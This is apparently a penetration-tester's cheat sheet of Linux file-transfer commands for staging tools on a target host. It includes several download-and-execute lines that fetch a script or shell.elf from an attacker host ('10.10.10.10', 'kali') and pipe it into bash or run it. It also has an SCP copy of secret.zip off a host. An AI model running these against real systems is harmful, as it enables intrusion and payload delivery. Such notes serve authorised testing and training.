Linux

Python (HTTP Server)

python -m SimpleHTTPServer 80
python3 -m http.server

Python (FTP Server)

Python -m pyftpdlib -p 21 --write

Wget

wget http://10.10.10.10/linenum.sh
wget -O - 10.10.10.10/linenum.sh | bash
wget -P /tmp http://kali/shell.elf && chmod +x /tmp/shell.elf && /tmp/shell.elf

Curl

curl http://10.10.10.10/linenum.sh -o linenum.sh
curl Kali_IP/file -o /tmp/file && chmod +x /tmp/file && /tmp/file

Netcat

nc -lvp 5555 < linenum.sh
nc 10.10.10.10 5555 | bash

TFTP

Kali: mkdir /tftp, chown nobody: /tftp, atftpd --daemon --port 69 /tftp
Sender: tftp -v 10.10.10.10 (-m binary ) -c put file1
Receiver: tftp -v 10.10.10.10 (-m binary) -c get file1

SCP

scp user@10.10.10.10:C:/ftp/File.pdf .         
user@10.10.10.10's password: 
File.pdf      

scp user@10.10.10.11:/home/user/secret.zip .

axel

axel -a -n 20 -o Report.pdf http://10.10.10.10/test.txt

Last updated